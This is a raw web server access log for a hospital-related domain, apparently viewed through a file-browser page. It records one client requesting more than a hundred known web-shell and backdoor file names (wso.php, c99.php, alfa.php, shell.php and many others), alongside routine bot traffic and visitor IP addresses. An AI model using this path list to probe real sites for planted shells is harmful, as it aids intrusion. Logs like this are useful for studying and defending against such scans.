ok
Direktori : /proc/self/root/home/importfo/access-logs/ |
Current File : //proc/self/root/home/importfo/access-logs/chaahathospitalandicu.co.in.importfolio.digital |
147.182.248.81 - - [19/Jan/2025:15:08:17 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 35.223.225.7 - - [19/Jan/2025:15:38:16 +0530] "GET / HTTP/1.1" 302 220 "-" "python-requests/2.32.3" 18.143.133.223 - - [19/Jan/2025:16:01:07 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 18.143.133.223 - - [19/Jan/2025:16:24:15 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 18.143.133.223 - - [19/Jan/2025:17:09:23 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 52.53.175.78 - - [19/Jan/2025:17:35:37 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 37.60.255.55 - - [19/Jan/2025:17:38:54 +0530] "GET / HTTP/1.1" 302 220 "-" "python-requests/2.32.3" 52.53.175.78 - - [19/Jan/2025:17:48:17 +0530] "GET / HTTP/1.1" 302 220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 82.165.97.195 - - [19/Jan/2025:17:57:36 +0530] "GET /wp-content/themes/include.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:09 +0530] "GET /x.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:10 +0530] "GET /alfa.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:10 +0530] "GET /c99.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:10 +0530] "GET /mini.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:11 +0530] "GET /a.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:11 +0530] "GET /wso.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:12 +0530] "GET /home.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:12 +0530] "GET /shell.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:12 +0530] "GET /leaf.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:13 +0530] "GET /wp-admin.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:13 +0530] "GET /leafmailer2.8.php HTTP/1.1" 302 237 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:13 +0530] "GET /wso.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:14 +0530] "GET /a.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:14 +0530] "GET /leaf.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:14 +0530] "GET /alex.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:15 +0530] "GET /uploader.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:15 +0530] "GET /mailer.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:16 +0530] "GET /anone.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:16 +0530] "GET /a.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:16 +0530] "GET /wp-configer.php HTTP/1.1" 302 235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:17 +0530] "GET /alfa.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:18 +0530] "GET /wso.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:22 +0530] "GET /c.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:22 +0530] "GET /1.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:23 +0530] "GET /send.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:23 +0530] "GET /3.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:24 +0530] "GET /404.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:25 +0530] "GET /sym.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:25 +0530] "GET /wp-confirm.php HTTP/1.1" 302 234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:25 +0530] "GET /images/vuln.php HTTP/1.1" 302 235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:25 +0530] "GET /dr.php HTTP/1.1" 302 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:26 +0530] "GET /upload.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:27 +0530] "GET /bypass.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:27 +0530] "GET /wp-blog.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:28 +0530] "GET /data.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:28 +0530] "GET /owl.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:29 +0530] "GET /vuln.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:29 +0530] "GET /symlink.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:30 +0530] "GET /ohayo.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:30 +0530] "GET /100.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:31 +0530] "GET /777.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:31 +0530] "GET /wp-content/wp-logins.php HTTP/1.1" 302 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:31 +0530] "GET /1index.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:31 +0530] "GET /wp-wso.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:32 +0530] "GET /2index.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:32 +0530] "GET /wp-content/wp-admin.php HTTP/1.1" 302 243 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:32 +0530] "GET /wp-configer.php HTTP/1.1" 302 235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:33 +0530] "GET /wp-admin.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:33 +0530] "GET /mini.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:34 +0530] "GET /old-index.php HTTP/1.1" 302 233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:34 +0530] "GET /doc.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:34 +0530] "GET /ups.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:35 +0530] "GET /shx.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:36 +0530] "GET /FoxWSO.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:37 +0530] "GET /x.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:37 +0530] "GET /cms.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:38 +0530] "GET /stindex.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:39 +0530] "GET /wp-uploads.php HTTP/1.1" 302 234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:39 +0530] "GET /autoload_classmap.php HTTP/1.1" 302 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:40 +0530] "GET /Gel.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:41 +0530] "GET /defau1t.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:41 +0530] "GET /0byte.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:41 +0530] "GET /wp.php HTTP/1.1" 302 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:42 +0530] "GET /41.php HTTP/1.1" 302 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:42 +0530] "GET /media-admin.php HTTP/1.1" 302 235 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:42 +0530] "GET /4price.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:43 +0530] "GET /MARIJUANA.php HTTP/1.1" 302 233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:43 +0530] "GET /marijuana.php HTTP/1.1" 302 233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:44 +0530] "GET /f.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:44 +0530] "GET /.fk.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:44 +0530] "GET /wikindex.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:45 +0530] "GET /xox.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:45 +0530] "GET /o.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:46 +0530] "GET /new.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:46 +0530] "GET /3index.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:47 +0530] "GET /sindex.php HTTP/1.1" 302 230 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:47 +0530] "GET /baindex.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:48 +0530] "GET /new-index.php HTTP/1.1" 302 233 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:48 +0530] "GET /wi.php HTTP/1.1" 302 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:48 +0530] "GET /XxX.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:48 +0530] "GET /mar.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:49 +0530] "GET /root.php HTTP/1.1" 302 228 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:49 +0530] "GET /11index.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:50 +0530] "GET /wp-login.php HTTP/1.1" 302 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:50 +0530] "GET /nee.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:51 +0530] "GET /v.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:51 +0530] "GET /z.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:52 +0530] "GET /xx.php HTTP/1.1" 302 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:52 +0530] "GET /g.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:52 +0530] "GET /m.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:53 +0530] "GET /shell.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:53 +0530] "GET /sh3ll.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:54 +0530] "GET /c99.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:54 +0530] "GET /alexuse.php HTTP/1.1" 302 231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:54 +0530] "GET /w.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:54 +0530] "GET /ws.php HTTP/1.1" 302 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:55 +0530] "GET /2.php HTTP/1.1" 302 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:55 +0530] "GET /lol.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:55 +0530] "GET /87.php HTTP/1.1" 302 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:56 +0530] "GET /7yn.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:56 +0530] "GET /wp-content/marijuana.php HTTP/1.1" 302 244 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:57 +0530] "GET /haxor.php HTTP/1.1" 302 229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:58 +0530] "GET /403.php HTTP/1.1" 302 227 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:58 +0530] "GET /13.php HTTP/1.1" 302 226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:59 +0530] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 302 249 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.35.40.83 - - [19/Jan/2025:18:00:59 